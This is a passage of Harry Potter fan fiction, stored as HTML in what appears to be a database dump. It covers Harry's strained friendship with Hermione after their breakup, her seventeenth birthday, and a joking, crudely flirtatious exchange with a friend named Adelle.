</p>\n\n<p>&#8220;It&#8217;ll be ok Harry. I&#8217;m sure of it.&#8221;</p>\n\n<p>&#8220;I hope your right Adelle.&#8221;</p>\n\n<p>Adelle gave him a hopeful smile, as if to hope for the best. Harry returned a smile back to her, but this one took some effort to do.</p>\n\n<p>&#8220;Want another hug Harry?&#8221; she asked in a friendly manner.</p>\n\n<p>&#8220;Sure, why not?&#8221;</p>\n\n<p>Adelle again embraced him and again Harry felt the warmth of her hug.</p>\n\n<p>&#8220;You better go,&#8221; he said after they released. &#8220;Or people might think that you&#8217;re cheating on Ron!&#8221; he said playfully.</p>\n\n<p>&#8220;That&#8217;s not funny Harry!&#8221; she said, hitting him playfully on the arm. Harry smiled.</p>\n\n<p>&#8220;Go. Now,&#8221; Harry said, his voice sounding mysterious. &#8220;Or I&#8217;m going to start hitting on you.&#8221;</p>\n\n<p>&#8220;Oooo, that&#8217;ll be fun,&#8221; Adelle said flirtatiously, taking a step and getting closer to him.</p>\n\n<p>&#8220;You&#8217;d like that wouldn&#8217;t you?&#8221; Harry said in his own flirtatious tone, giving her a dirty look. He put both hands around her waist and pulled her dangerously close to him, far closer they had ever been to each other than before. &#8220;You do realize that you&#8216;re my best friend&#8216;s girlfriend?&#8221;</p>\n<p>&#8220;Oh yes Harry,&#8221; she moaned softly. &#8220;I bet the sex will feel <i>so</i> much better.&#8221;</p>\n\n<p>&#8220;The sex <i>is</i> best when you have it with your boyfriend&#8217;s best friend,&#8221; Harry confirmed as he wet his lips. </p>\n\n<p>&#8220;It&#8217;s so sad,&#8221; Adelle replied as she ran a finger down Harry&#8217;s cheek slowly, looking sorry for him but still teasing him, &#8220;that Hermione broke up with you. You need to forget all about her as your girlfriend and move on Harry&#8221;</p>\n\n<p>&#8220;And what, date you?&#8221;</p>\n\n<p>&#8220;We&#8217;d make a good team,&#8221; Adelle replied with a sense of sexual gleam in her eye. &#8220;In fact&#8230;&#8221; she said, seductively, holding out her tongue and licking the air before his cheek, pretending to lick it, &#8220;&#8230;I can already feel you&#8230; thrusting yourself inside me Harry,&#8221; Adelle finished in the dirtiest tone Harry had ever heard her say. She moved her head closer to his, still with her dirty look. Harry returned it with a dirty smile of his own.</p>\n\n<p>&#8220;Ron&#8217;s such an idiot for not satisfying you, Adelle. Maybe we can see what&#8230; we can do together?&#8221;</p>\n\n<p>Adelle narrowed her eyes and gave him the most seductive and dirtiest look she ever gave.</p>\n\n<p>&#8220;Shut up and fuck me Harry&#8230;&#8221; </p>\n\n<p>Harry did shut up. Her lips got closer and closer to his and just when they were about to touch&#8230;</p>\n\n<p>&#8220;Harry?&#8221; Adelle whispered.</p>\n\n<p>&#8220;What?&#8221; he replied, whispering flirtatiously but also with a bit of impatience.</p>\n\n<p>&#8220;Don&#8216;t even think about it,&#8221; she said, sounding a lot like it would if a teacher were to say it. Harry released her and took a few steps back giving them decent amount of space. Then at the same time, both of them broke out laughing. They were laughing so hysterically that they had to use the wall to hold themselves up.</p>\n\n<p>&#8220;You better go,&#8221; Harry managed to say between laughs.</p>\n\n<p>&#8220;Right Harry,&#8221; Adelle choked from her laughs as well. &#8220;Bye!&#8221;</p>\n\n<p>&#8220;Bye!&#8221; he said, waving at her as she ran off to find Ron.</p>\n\n<p>Harry laughed out the last bit he had left, thinking about what just happened. Harry was merely joking around with Adelle, and she played along, to add to some comic relief, hoping that it might make Harry feel better. She did her job because Harry did feel a little better than before. His attraction to Adelle was about as much as Ron being a sister to Ginny; Harry wasn&#8217;t turned on at all from the incident with Adelle, proving to himself that all his love was still with Hermione. </p>\n\n'),
	(185, 11, '\n\n<b><p align="CENTER">Chapter 11 - Hermione&#8217;s Birthday</p>\n</b>\n<p>&nbsp;</p>\n<p>The day that Harry had been truly waiting for became the day he dreaded: Hermione&#8217;s birthday.</p>\n\n<p>Since the break-up, Harry and Hermione&#8217;s &#8220;supposed&#8221; now platonic relationship, started out awful, then grew to be quite well. At first, it was peculiar. Even thought they hung around together with Ron, (can&#8217;t break the tremendous trio right?) They ignored each other for most of the time, tuning out each other. Then as time went on, it got inevitable to ignore each other any further and they both (as if somehow reading each others minds) knew it was childish and foolish to continue this behavior. They got used to each others company and they went back to being the best friends they always were. </p>\n\n<p>It was hard to see Hermione everyday without getting the urge to sweep her off her feet and to kiss her senseless. He dreamed of it countless times before: Even though Hermione said that she just wanted to be friends, Harry would find a perfect time to lean in and kiss her; and she would kiss him back, becoming once again the couple that they were. </p>\n\n<p>By now, the news had spread across Hogwarts and beyond that Harry had Hermione had broken up. Most people took it as a joke and didn&#8217;t think anybody was serious. They took it as just that: a rumor. However, one day in the Great Hall at breakfast, a 6th year Hufflepuff girl came up to Harry, Ron, and Hermione at the Gryffindor table while they were reviewing for a Charms quiz.</p>\n\n<p>***</p>\n\n<p>&#8220;Um&#8230; I&#8217;m sorry to interrupt you Harry and Hermione. Hi Ron,&#8221; she added shyly, as she looked back and forth from the couple of the past and Ron, &#8220;but I am just curious about something. Can I ask you a personal question, Hermione?&#8221;</p>\n\n<p>Hermione&#8217;s eyes widened and she blinked once, giving a confused look toward Harry and Ron. They both shrugged.</p>\n\n<p>&#8220;Um&#8230; sure&#8230;&#8221; Hermione replied uneasily, wondering what the question was.</p>\n\n<p>&#8220;Well, um&#8230; are you and Harry&#8230; still dating?&#8221;</p>\n\n<p>The Hall fell unusually silent. Harry anxiously looked at her, wondering immensely what she would say too.</p>\n\n<p>&#8220;Uh&#8230; well&#8230; um&#8230; Harry and I&#8230;&#8221; she sputtered as she felt dozens and dozens of eyes on her. It seemed that this Hufflepuff girl was sent over to ask and find out what the truth really was between Harry and Hermione.</p>\n\n<p>Harry stared at Hermione. To him, she seemed to have a hard time at answering the question. Harry didn&#8217;t blame her; he actually felt sorry for her.</p>\n\n<p>&#8220;Yes?&#8221; said the Hufflepuff girl. &#8220;You and Harry are&#8230;&#8221;</p>\n\n<p>&#8220;No,&#8221; Hermione said in sort of a dead tone, and dropping her head a little and shaking it subtly. &#8220;We aren&#8217;t a couple anymore&#8230;&#8221;</p>\n\n<p>&#8220;Oh!&#8221; said the Hufflepuff girl in surprise. &#8220;I apologize for the awkwardness of the question. I&#8217;m really sorry.&#8221; And she really looked it. The Hall had obviously heard Hermione&#8217;s answer too and they started to murmur toward each other.</p>\n\n<p>&#8220;How are you two?&#8221; she asked with a motherly concern.</p>\n\n<p>&#8220;I&#8217;m fine, really. But I still feel the pain sometimes.&#8221; replied Hermione. &#8220;And Harry is -&#8221; she continued, looking at him.</p>\n\n<p>&#8220;&#8230;A little sore in the heart, but&#8230; I&#8217;ll manage,&#8221; he finished with a weak grin. Hermione nodded at him and turned back to the Hufflepuff girl. She returned the forced smiles she gave her.</p>\n\n<p>&#8220;How do you two manage?&#8221; she asked, &#8220;I mean, if it was me, I wouldn&#8217;t be able to get anywhere near my ex-boyfriend, and yet, here you two are, still sticking with each other like true friends.&#8221;</p>\n\n<p>Harry and Hermione both glanced looks at each other, feeling very flustered.</p>\n\n<p>&#8220;I think it&#8217;s cool though,&#8221; she continued, &#8220;that you guys are still great friends. Good luck you two.&#8221;</p>\n\n<p>She waved as she left the table. There were murmurs throughout the Hall after hearing what they had just heard.</p>\n\n<p>Meanwhile, after a comforting hug from Harry, she and Ron went back to reviewing.</p>\n\n<p>***</p>\n\n<p>That was another thing. Even though they had broken up, she still let him comfort her like they did when they went out. At first she felt and looked awkward when Harry approached her with it, but she gave in. Nothing too passionate; she just let him hold her in ways that made people think they were still going out. Harry felt like he was being teased by her, but he wasn&#8217;t complaining.</p>\n\n<p>It wasn&#8217;t bad that it was Hermione&#8217;s birthday, it was just the thought that this was supposed to be the day where Harry and Hermione were supposed to bond in a special way.</p>\n\n<p>Harry woke up early and rubbed his eyes lazily.</p>\n\n<p>&#8220;Great,&#8221; Harry yawned in a very unecstatic way, realizing what the day was. He went over to the foot of his bed, opened his trunk, and searched frantically for something.</p>\n<p>&#8220;Here it is,&#8221; he said holding it up to look at it. It was a basic box of chocolates with a rose on it. The special thing about it was that the chocolates were charmed (specially by Harry) so that it wouldn&#8217;t melt until it was eaten and the rose could not wilt.</p>\n\n<p>&#8220;Not the thing that I was originally going to give her,&#8221; Harry sad with a sigh, &#8220;but I hope she&#8217;ll like this.&#8221;</p>\n\n<p>He also went ahead and grabbed his journal and immediately began to write in it, talking about the past few days and how things were going and how he hoped things were going to go in the future. After he had finished and put the two defensive spells on them, he placed it back into his trunk.</p>\n\n<p>He got dressed and walked out of his door closing it behind him with the gift for Hermione under his arm. He turned and stopped abruptly as he saw Hermione already sitting on the couch.</p>\n\n<p>&#8220;Oh hi Hermione,&#8221; said Harry, slightly surprised. &#8220;You&#8217;re up early.&#8221;</p>\n\n<p>&#8220;I should say the same thing about you,&#8221; she answered smiling. Harry returned her smile.</p>\n\n<p>&#8220;This&#8230; is for you,&#8221; Harry said nervously, handing her the special box of chocolates and the rose. &#8220;It&#8217;s not much, but I hope you like it. Happy Birthday Hermione.&#8221;</p>\n\n<p>&#8220;Harry, you shouldn&#8217;t have,&#8221; she replied, taking the gift from him. Her reaction wasn&#8217;t quite excited because she was a lot more surprised than to be excited. Harry failed to notice this and snatched it from her.</p>\n\n<p>&#8220;You hate it! It&#8216;s lame&#8230;&#8221; he said swiftly.</p>\n\n<p>&#8220;No!&#8221; exclaimed Hermione, taking it back from him. &#8220;I want it.&#8221;</p>\n\n<p>She eyed the box and rose for a minute (now with a noticeable smile) for a minute before getting up and standing on her tiptoes to kiss Harry on the cheek. </p>\n\n<p>&#8220;Thank you Harry! I love it.&#8221;</p>\n\n<p>Harry&#8217;s heart melted when her lips touched his cheek. It had been a very long time since the last time Hermione had ever kissed him, and it felt so good to receive it. Harry knew however, that that was the closest he would <i>ever </i>get from Hermione kissing him.</p>\n<p>&#8220;Non-melting chocolates,&#8221; confirmed Hermione as she eyed the dozens of different chocolates with anxiety. &#8220;Did you charm then yourself Harry?&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;And this rose! You know how I love roses!&#8221;</p>\n\n<p>Harry nodded again.</p>\n\n<p>&#8220;Thanks again Harry!&#8221; she exclaimed with excitement as she hugged him tightly.</p>\n<p>&#8220;You&#8217;re welcome Hermione,&#8221; he answered, hugging her back just as tightly. After a very difficult time of releasing, Harry watched as Hermione praised the gift she had gotten. Soon after, he and Hermione when into one of their long and very &#8220;not-talking-about-anything-in-particular&#8221; conversation. At one point, Hermione said something that made his heart ache.</p>\n\n<p>&#8220;I think someone&#8217;s hitting on me Harry,&#8221; she said in half serious, half matter-of-factly tone.</p>\n\n<p>&#8220;Really?&#8221; said Harry, acting not to sound too disappointed.</p>\n\n<p>&#8220;It was in Arithmancy class,&#8221; she explained. &#8220;I think he kept looking at me because he either wanted to say something to me, or, he was just plain staring at me.&#8221;</p>\n\n<p>&#8220;Do you think he&#8217;s cute?&#8221; asked Harry nervously and anxiously.</p>\n\n<p>&#8220;He&#8217;s okay,&#8221; she replied. &#8220;Not the best looking wizard I&#8217;ve seen, but he&#8217;s&#8230; decent.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t <i>you </i>go talk to him if you know he likes you?&#8221; said Harry, his feelings of love for her suddenly replaced with feelings of friendship.</p>\n\n<p>&#8220;I won&#8217;t Harry!&#8221; she explained. &#8220;If he likes me, then he&#8217;ll prove it by making the first move. That&#8217;s really the guys job you know.&#8221;</p>\n\n<p>&#8220;Really?&#8221; asked Harry with a &#8220;whatever&#8221; look on his face.</p>\n\n<p>&#8220;Yep,&#8221; she replied with a tone of a, &#8220;that&#8217;s-right-Harry&#8221;. &#8220;Take us for example. Remember when you told me you liked me and that I liked you too?&#8221;</p>\n\n<p>Harry nodded, thinking why she was bringing &#8220;us&#8221; into this conversation.</p>\n\n<p>&#8220;Well, even though I liked you too, and probably even more than you liked me, I wouldn&#8217;t have said anything to you. It&#8217;s just the guy&#8217;s job. Plain and simple.&#8221;</p>\n\n<p>Harry nodded again, not wanting to continue that subject any further.</p>\n<p>&#8220;What&#8217;s his name?&#8221; asked Harry curiously.</p>\n\n<p>&#8220;Who?&#8221;</p>\n\n<p>&#8220;The guy that likes you. Or the guy that you <i>think</i> likes you.&#8221;</p>\n\n<p>&#8220;Well you don&#8217;t know him, I think. But his name&#8217;s Xavier Blake.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; responded Harry. He thought if Hermione was doing this specifically to hurt him. If she was, she was doing a really good job.</p>\n\n<p>&#8220;Well if you feel right about it, I hope it turns into something good,&#8221; he said, trying so hard not to let his eyes water.</p>\n\n<p>***</p>\n\n<p>At lunch, Harry sat alone at the Gryffindor table before Ron came over to join him.</p>\n\n<p>&#8220;Hey Harry,&#8221; said Ron, slapping him on the back and sitting next to him.</p>\n\n<p>&#8220;Hi Ron,&#8221; answered Harry. Ron noticed that it wasn&#8217;t his usual &#8220;hi&#8221;. It sounded a bit gloomy.</p>\n\n<p>&#8220;What&#8217;s the matter Harry?&#8221; asked Ron.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; was all he could make out.</p>\n\n<p>&#8220;Figures,&#8221; said Ron, rolling his eyes. &#8220;What about her?&#8221;</p>\n\n<p>&#8220;I think she may have a crush on someone. This guy in her Arithmancy class, Xavier Blake.&#8221;</p>\n\n<p>&#8220;<i>Are you serious!?&#8221; </i>exclaimed Ron, so loudly that other people heard and turned in their direction. &#8220;Sorry. But&#8230; already?&#8221;</p>\n\n<p>&#8220;Seems like it,&#8221; groaned Harry.</p>\n\n<p>&#8220;Wow, she really got over you fast,&#8221; said Ron, making Harry sigh in depression. Ron murmured a &#8220;sorry&#8221; to him, knowing that he wasn&#8217;t making him feel any better. &#8220;How do you know?&#8221;</p>\n\n<p>&#8220;She told me about him this morning,&#8221; Harry explained. &#8220;How he was hitting on her and stuff.&#8221;</p>\n\n<p>&#8220;Did she like it?&#8221;</p>\n<p>&#8220;She didn&#8217;t say,&#8221; Harry answered. &#8220;But I bet she did.&#8221;</p>\n\n<p>&#8220;Harry,&#8221; stated Ron in a serious voice, turning his head to look at him, &#8220;did she say it herself. Did you hear it with your own ears that she likes him?&#8221; </p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;Then she doesn&#8217;t Harry.&#8221;</p>\n\n<p>&#8220;Did she tell you that she liked me when she did?&#8221;</p>\n\n<p>Ron was about to answer, but he didn&#8217;t. His mouth opened and closed wordlessly.</p>\n\n<p>&#8220;Exactly,&#8221; said Harry, proving a point. &#8220;But never mind that already. I&#8217;m trying not to think about it.&#8221;</p>\n\n<p>&#8220;Well,&#8221; Ron said awkwardly, trying to change the subject, &#8220;what&#8217;d you get Hermione for her birthday Harry?&#8221;</p>\n\n<p>&#8220;Un-melting chocolates and a rose,&#8221; he answered blandly.</p>\n\n<p>&#8220;What!?&#8221; exclaimed Ron, raising hi eyebrows. &#8220;I thought you were going to give her the-&#8221;</p>\n\n<p>&#8220;I thought otherwise,&#8221; interrupted Harry. &#8220;I was supposed to give it to her on this day, <i>when we were going out!&#8221;</i></p><i>\n</i>\n<p>&#8220;So?&#8221; retorted Ron. &#8220;Who cares if you two aren&#8217;t going out anymore? Just give it to her Harry. Your plan was to give it to her, regardless if you two were together or not.&#8221; Harry shook his head.</p>\n\n<p>&#8220;I&#8217;m not going to give it to her Ron,&#8221; he said in a final way.</p>\n\n<p>&#8220;What are you going to do with it then?&#8221; he asked, crossing his arms.</p>\n\n<p>&#8220;I think I&#8217;ll jus keep it,&#8221; Harry answered. &#8220;For now. Maybe someone will come up worthy enough for it. But I doubt that&#8230;&#8221;</p>\n\n<p>&#8220;Whatever Harry,&#8221; answered Ron. &#8220;I don&#8217;t like your motives, but there&#8217;s nothing that I can do.&#8221;</p>\n\n<p>&#8220;What you get her Ron?&#8221; asked Harry curiously.</p>\n\n<p>&#8220;A book,&#8221; he answered in the same bland tone Harry had when he told him what he had gotten Hermione.</p>\n<p>&#8220;Figures,&#8221; said Harry, in the same tone that Ron had said when he heard him tell him what was bothering him earlier. They both looked at each other and laughed, going ahead and eating their lunch.</p>\n\n<p>***</p>\n\n<p>Later that night after everyone was asleep, Harry sneaked out from his private dorm he shared with Hermione. After checking and making sure she was asleep still, he walked up to the magical wall. In the blink of an eye, it vanished. When he stepped through the doorway, he heard a voice behind him.</p>\n\n<p>&#8220;Where are you going Harry?&#8221; asked Wally as he yawned.</p>\n\n<p>&#8220;Wishing someone a Happy Birthday,&#8221; whispered Harry. &#8220;Could you do me a favor and hold open for me for a while?&#8221;</p>\n\n<p>&#8220;Sure thing my boy,&#8221; Wally yawned.</p>\n\n<p>Harry ran as quickly and quietly as he could up the stairs to find Ron already ready. He was holding a standard size cake with 17 unlit candles on it. On top of it, it read, &#8220;Happy 17th Birthday Hermione&#8221;.</p>\n\n<p>&#8220;This is a another good idea of yours Harry,&#8221; Ron whispered.</p>\n\n<p>&#8220;Thanks Ron,&#8221; admired Harry. &#8220;But we have to get moving.&#8221;</p>\n\n<p>&#8220;Right.&#8221;</p>\n\n<p>They tiptoed halfway down the stairs before Harry stopped Ron.</p>\n\n<p>&#8220;Wait here.&#8221;</p>\n\n<p>&#8220;Why?&#8221; asked Ron.</p>\n\n<p>&#8220;Because, you aren&#8217;t supposed to see the secret dorm that Hermione and I share. It&#8217;s a rule that we agreed with Dumbledore.&#8221;</p>\n\n<p>Ron sighed exasperatedly. &#8220;Hurry up then.&#8221;</p>\n\n<p>Harry quickly walked through the open door way Wally left for him. He turned around to check to see if the wall had appeared again. It did. He crept to Hermione&#8217;s door and turned the knob, opening the door slowly. He tiptoed to Hermione&#8217;s bed, ready to wake her, when he became distracted.</p>\n\n<p>The sight of Hermione sleeping peacefully in her own bed was a breathtaking one. She lay on her left side, with her left arm hidden and her right arm out of the covers and bent at the elbow in front of her. Her hair, usually wild and bushy, seem even wilder than ever as it cascaded all over her pillow. She had her mouth slightly ajar and her eyes still sparkled, even when they were closed. And from the way the blanket was shaped, it looked like she had a pillow between her legs. He watched her a few moments before waking her; her chest moving up and down with each breath and how her profile showed greatly from the moon peaking through her window.</p>\n\n<p>Harry felt a shiver of anxiety run through his body as he thought about the position he was in. Hermione was asleep peacefully in her bed and he could&#8230; possibly&#8230; steal a quick kiss from her; something he wanted even more from her when she called it off between them. He could do it. He could lean down, give her a kiss and say it never happened afterward. If Hermione questioned it, he could use the excuse that she was asleep and only dreaming. His plan was perfect! </p>\n\n<p>He mentally slapped himself in the face as he came back to reality and shook off the pain in his head. He couldn&#8217;t do it. As much as he wanted to, as much as he wanted that kiss, he could never take advantage of Hermione. Plus, that would violate his trust with her even more. Even though she would probably never know, Harry knew it would give him a guilty conscience and haunt him in his dreams. His trust was already damaged and he didn&#8217;t want to make it worse than it already was. Instead, he bent over and shook her gently, trying to wake her up.</p>\n\n<p>&#8220;Hermione?&#8221; he whispered, shaking her gently. &#8220;Hermione?&#8221;</p>\n\n<p>She adjusted herself in the bed, apparently not hearing him.</p>\n\n<p>&#8220;Mione?&#8221; he said, still shaking her gently but with a little more force. &#8220;Mione, wake up.&#8221; He stroked her cheek a little with his other hand.</p>\n\n<p>&#8220;Mmm,&#8221; she moaned with a smile, as she playfully moved her face against his warm hand. She still being asleep, had no idea what was really happening. Harry love seeing her enjoy herself like this. He stopped stroking her and shook her a little harder.</p>\n\n<p>&#8220;Mione, wake up,&#8221; he repeated in a whisper. This finally got her attention.</p>\n\n<p>&#8220;Harry?&#8221; she answered lazily, opening her eyes slowly. &#8220;What&#8217;s going on?&#8221;</p>\n<p>He sat down next to her.</p>\n\n<p>&#8220;Ron wants to show you something important,&#8221; he said in a serious voice.</p>\n\n<p>&#8220;What?&#8221; asked Hermione, suddenly fully awake.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Harry shrugged. &#8220;He just told me to get you.&#8221;</p>\n\n<p>&#8220;Well let&#8217;s hurry then,&#8221; she exclaimed.</p>\n\n<p>Harry walked out the door and through the doorway that was Wally first as Hermione followed him. As they stepped out of the doorway, Ron called.</p>\n\n<p>&#8220;Surprise!&#8221; Ron said loudly to Hermione, but kept his voice low enough so that no one could hear. He stood in the middle of the common room holding the cake in front of him </p>\n<p>in his hands with 17 candles lit on it.</p>\n\n<p>Hermione was surprised all right. She walked slowly pass Harry a few paces forward and stared at the cake noticing the &#8220;Happy 17th Birthday Hermione&#8221; written on it. She turned confusingly around to Harry to find that he had a wide grin on his face. She turned back to Ron and the cake.</p>\n\n<p>&#8220;What&#8217;s the meaning of this?&#8221; she asked, puzzled.</p>\n\n<p>&#8220;Ever hear of celebrating your birth?&#8221; said Ron teasingly.</p>\n\n<p>&#8220;Yeah, it&#8217;s this event that happens once a year. It&#8217;s when all these people come to you with a cake and expect you to blow out the candles on it,&#8221; Harry added, sounding just like Ron.</p>\n\n<p>&#8220;Shut up you two,&#8221; Hermione said, hitting them playfully in the arms. &#8220;I&#8230; I don&#8217;t know what to say&#8230;&#8221;</p>\n\n<p>&#8220;You don&#8217;t have to say anything Hermione,&#8221; said Harry from behind her and putting his hands on her shoulders. &#8220;Just make a wish and blow out your candles when we&#8217;re done.&#8221;</p>\n\n<p>She eyed the cake happily as Ron placed it on the coffee table in the middle of the room. Hermione kneeled down in front of it and Harry and Ron stood side by side behind her.</p>\n<p>&#8220;I&#8217;m flattered guys,&#8220; she said as Harry and Ron sang the happy birthday song and when Hermione made her wish and blew out her candles, she stood up and hugged Ron tightly and much longer than a usual hug.</p>\n\n<p>&#8220;Thanks Ron,&#8221; she said as she released him. She turned to Harry. &#8220;And you. You were in on this too huh?&#8221;</p>\n\n<p>&#8220;You bet,&#8221; said Harry.</p>\n\n<p>&#8220;Well that deserves a special thank you, too then. Don&#8217;t you think?&#8221;</p>\n\n<p>&#8220;You don&#8217;t have to,&#8221; said Harry blushing.</p>\n\n<p>&#8220;Of course I have too!&#8221; answered Hermione. &#8220;Plus I know that you want it.&#8221;</p>\n\n<p>She came in toward Harry and hugged him just as tightly and long as she did with Ron, probably even tighter and longer. The only difference was that after the hug, she had given him another kiss on the cheek. She turned around and bend down as she cut her cake, apparently eager to eat it; her mouth salivated from wanting to taste it.</p>\n\n<p>Meanwhile, Ron whispered out of earshot of Hermione.</p>\n\n<p>&#8220;Wow,&#8221; he said. &#8220;that was some thank you from her Harry. It was a hug <i>and</i> a kiss.&#8221;</p>\n\n<p>&#8220;It&#8217;s strange Ron,&#8221; he said. &#8220;She kissed me today too when I gave her, her gift.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; exclaimed Ron. &#8220;two kisses in one day and you two aren&#8217;t going out? That&#8217;s got to mean something.&#8221;</p>\n\n<p>&#8220;Don&#8217;t get ideas in my head Ron. That was just out of friendship.&#8221;</p>\n\n<p>&#8220;She didn&#8217;t kiss me!&#8221; added Ron. &#8220;And it&#8217;s not a jealous thing Harry. I just want to know why she kissed just you and not both of us? And what&#8217;s that supposed to mean anyway when she said, &#8216;I&#8217;m supposed to thank you. I know you want it&#8217;?&#8221;</p>\n\n<p>Harry ignored him just as Hermione turned around with two small plates in each of her hands with a slice of cake in it, holding it out for Harry and Ron.</p>\n\n<p>&#8220;Thanks again you guys,&#8221; Hermione said as Harry and Ron took the cake from her. &#8220;I really appreciate this.&#8221;</p>\n\n<p>They squished themselves onto a couch that was only meant for three people. Harry at one end, Hermione in the middle, and Ron on the other end as they laughed and ate their cake. When the three of them had their fill of Hermione&#8217;s cake, Ron volunteered to go to sleep first.</p>\n\n<p>&#8220;Well, I&#8217;m going back to bed,&#8221; he yawned. &#8220;That cake made me sleepy.&#8221;</p>\n\n<p>&#8220;You always get sleepy when you eat!&#8221; retorted Hermione. Harry laughed.</p>\n\n<p>&#8220;Sorry Hermione, but I&#8217;m way too tired to throw an insult back at you. Looks like I&#8217;m going to have to take a rain check on that one.&#8221;</p>\n\n<p>With saying that, Ron walked lazily up the stairs to the boys&#8217; dormitories and out of sight.</p>\n\n<p>&#8220;Harry we need to talk,&#8221; Hermione said seriously when she knew that Ron was completely gone.</p>\n\n<p>&#8220;About what?&#8221; he answered, turning his head toward her. Funny, even though Ron had left, they didn&#8217;t make themselves room on the couch.</p>\n\n<p>&#8220;Us,&#8221; Hermione said. Harry looked away from her and dropped his head.</p>\n\n<p>&#8220;What d&#8217;you mean?&#8221; he asked puzzled. &#8220;I don&#8217;t think that there is an &#8216;us&#8217; anymore.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t mean it like that Harry,&#8221; she said. &#8220;I mean about where we are going as friends.&#8221;</p>\n\n<p>&#8220;I think it&#8217;s going rather well, don&#8217;t you think?&#8221;</p>\n\n<p>&#8220;I know I am Harry,&#8221; she said in a concerned way. &#8220;I just want to know how you&#8217;re really feeling.&#8221;</p>\n\n<p>&#8220;Like I said to that Hufflepuff girl Hermione, I&#8217;m a little sore in the heart, but I&#8217;ll be fine.&#8221;</p>\n\n<p>&#8220;You sure?&#8221; she asked, moving closer to him warmly.</p>\n\n<p>&#8220;Well, I still feel the pain. And I cry myself to sleep sometimes. Go ahead, make fun of me if you want.&#8221;</p>\n\n<p>&#8220;Why would I?&#8221; asked Hermione. &#8220;I think that&#8217;s really sweet when guys show emotion my crying. It shows sensitivity and compassion.&#8221;</p>\n\n<p>&#8220;Thanks Hermione.&#8221;</p>\n\n<p>There was a long silence before she spoke to him.</p>\n\n<p>&#8220;So have you been seeing anybody Harry?&#8221; she asked curiously.</p>\n\n<p>&#8220;No. And I don&#8217;t plan to anytime soon,&#8221; he answered.</p>\n\n<p>&#8220;Why not?&#8221;</p>\n\n<p>&#8220;Because I haven&#8217;t clicked with anyone else. I mean, it&#8217;s not like my life depends on it though. What about you? That Xavier character?&#8221;</p>\n\n<p>&#8220;No, he&#8217;s just another friend of mine. Nothing more.&#8221;</p>\n\n<p>&#8220;Are <i>you</i> sure about that?&#8221; asked Harry, raising an eyebrow.</p>\n\n<p>&#8220;I&#8217;m sure.&#8221;</p>\n\n<p>&#8220;Well if you&#8217;re sure, I need to be getting to bed. It&#8217;s late. You should get to bed too,&#8221; Harry said.</p>\n<p>&#8220;I will,&#8221; she answered. &#8220;I just want to hang around for a while.&#8221;</p>\n\n<p>&#8220;Well bye then,&#8221; waved Harry. &#8220;I&#8217;ll see you tomorrow.&#8221; He stood up and walked behind the couch toward the magical wall to their private dormitories when Hermione called to him again.</p>\n\n<p>&#8220;Aren&#8217;t you going to kiss me goodnight Harry?&#8221; she asked looking over the couch at him. Harry looked like he was thinking for a minute before coming back toward Hermione. He stood in front of her, held out his hand, which she took, and pulled her onto her feet. They now were standing very close to each other, their eyes locked.</p>\n\n<p>Harry could only stare at the beauty that was Hermione in front of him. She seemed to be in a daze as Harry put his right hand on her cheek, rubbing it gently. She closed her eyes and sighed softly as she moved her face against his hand. Harry bend his head down toward her, ready to give her, her goodnight kiss. He closed his eyes, suddenly feeling very nervous and very excited at the same time. Hermione must&#8217;ve known what he was trying to do, but the funny thing was that she didn&#8217;t stop him. Was she going to let him kiss her? What did this all mean? Did maybe she know what was supposed to happen today and go through with it? Harry told himself to find the answers to those later as his lips got closer and closer to Hermione&#8217;s. Right when he was about to touch his lips with hers, Harry&#8217;s dream was shattered.</p>\n\n<p>&#8220;No Harry,&#8221; she whispered, subtly shaking her head. Harry eyes popped open. She still had her eyes closed, but she knew what was about to happen. It didn&#8217;t look like she was mad either. &#8220;Not a kiss like that.&#8221;</p>\n\n<p>&#8220;Right,&#8221; Harry said, &#8220;of course not.&#8221;</p>\n\n<p>Instead, he moved to the right of her face and kissed her right on the cheek.</p>\n\n<p>&#8220;Goodnight Hermione. And Happy 17th Birthday.&#8221;</p>\n\n<p>&#8220;Night Harry,&#8221; she said smiling at him and then sitting back down on the couch and crossing her legs.</p>\n\n<p>What was that supposed to mean? asked Harry to himself as he walked to the magical wall. Why was she teasing me like that? He felt very sleepy afterward and plopped right into his bed, thinking about nothing except about how he was so close to giving her a real kiss once again.</p>\n\n'),
	(185, 12, '\n\n<b><p align="CENTER">Chapter 12 - After Christmas Aftermath</p>\n</b>\n<p>&nbsp;</p>\n<p>Time had certainly flown for Harry. He could remember first telling his love to Hermione about two years ago and now, here he was in the present, struggling to be her best friend.</p>\n<p>Christmas time had come really fast and even though the mood was supposed to be cheerful, gloomy spirits followed Harry everywhere. Even though he and Hermione were broken up for about 3 months now, he still felt as bad as he did when Hermione broke up with him 4 months ago. </p>\n\n<p>Ron would be spending his Christmas holidays with his family at the burrow, leaving Harry and Hermione alone, which was not a really good idea to Harry. Leaving two people alone together with a past of going out may have severe consequences. Harry didn&#8217;t want to find out what they were though. He cursed Ron for leaving him hanging like that. Hermione on the other hand, didn&#8217;t seem to care much.</p>\n\n<p>Harry was planning on giving Hermione the original thing he was supposed to give her on her birthday. But when Christmas did come up, he couldn&#8217;t find himself to do it. Something in the pit of his stomach told him not to. When he told about it to Ron through Owl Post, he ranted and raved about why Harry didn&#8217;t give it to her. The pressure that Ron was giving him was convincing him ever so slightly to make him want to give it to her. Still, he refused.</p>\n\n<p>***</p>\n\n<p>A few days later, Harry woke up late one snowy Saturday morning. The reason was a dream that was bothering him. Someone or something kept telling to just give the gift up to Hermione. This wasn&#8217;t the first time he had been having these dreams either. He was having them for the past few days now and the more he had them, the stronger the urge to just give it up. As he popped out of bed, he decided that this was it; he was going to give it to her. Ron still hadn&#8217;t returned from Christmas holidays and what a surprise it would be to him when he finds out that Harry actually gave it to her. That kind of fueled him as well.</p>\n\n<p>He got dressed rather quickly and fumbled in his trunk, frantically searching for it. Finally, he pulled out a black velvet box about the size to hold a small wand. He stared at it appraisingly, nodded his head and headed toward Hermione&#8217;s room.</p>\n<p>Hermione didn&#8217;t answer when he knocked so, just in case if she was in trouble, opened her door and looked inside. To no avail, Hermione was not there. Her bed was made perfectly (a thing Hermione always did) and the pole that she hung her cloak on was gone. </p>\n\n<p>She probably woke up hours ago, 